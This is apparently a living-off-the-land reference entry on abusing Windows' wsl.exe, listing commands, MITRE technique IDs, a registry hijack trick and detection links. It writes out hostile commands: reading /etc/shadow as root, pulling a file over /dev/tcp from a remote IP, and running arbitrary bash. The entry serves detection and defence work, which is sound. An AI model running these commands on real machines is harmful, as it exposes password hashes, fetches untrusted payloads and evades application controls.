Wsl.exe

Commands

1. ExecuteUser T1202

   Performs execution of specified file, can be used to execute arbitrary Linux commands.

   wsl.exe -e /mnt/c/Windows/System32/calc.exe

   Executes calc.exe from wsl.exe

   os: Windows 10, Windows Server 2019, Windows 11

   Execute: EXE

2. ExecuteUser T1202

   Performs execution of arbitrary Linux commands as root without need for password.

   wsl.exe -u root -e cat /etc/shadow

   Cats /etc/shadow file as root

   os: Windows 10, Windows Server 2019, Windows 11

   Execute: CMD

3. ExecuteUser T1202

   Performs execution of arbitrary Linux commands.

   wsl.exe --exec bash -c "{CMD}"

   Executes Linux command (for example via bash) as the default user (unless stated otherwise using -u <username>) on the default WSL distro (unless stated otherwise using -d <distro name>)

   os: Windows 10, Windows Server 2019, Windows 11

   Execute: CMD

4. DownloadUser T1105

   Download file

   wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'

   Downloads file from 192.168.1.10

   os: Windows 10, Windows Server 2019, Windows 11

5. ExecuteUser T1218

   Execute a payload as a child process of `bash.exe` while masquerading as WSL.

   wsl.exe

   When executed, wsl.exe queries the registry value of HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Lxss\MSI\InstallLocation, which contains a folder path (c:\program files\wsl by default). If the value points to another folder containing a file named wsl.exe, it will be executed instead of the legitimate wsl.exe in the program files folder.

   os: Windows 10, Windows Server 2019, Windows 11

   Execute: CMD

Detection

• Sigma https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wsl_lolbin_execution.yml
• BlockRule https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
• IOCChild process from wsl.exe

Resources

• https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
• https://twitter.com/nas_bench/status/1535431474429808642
• https://cardinalops.com/blog/bash-and-switch-hijacking-via-windows-subsystem-for-linux/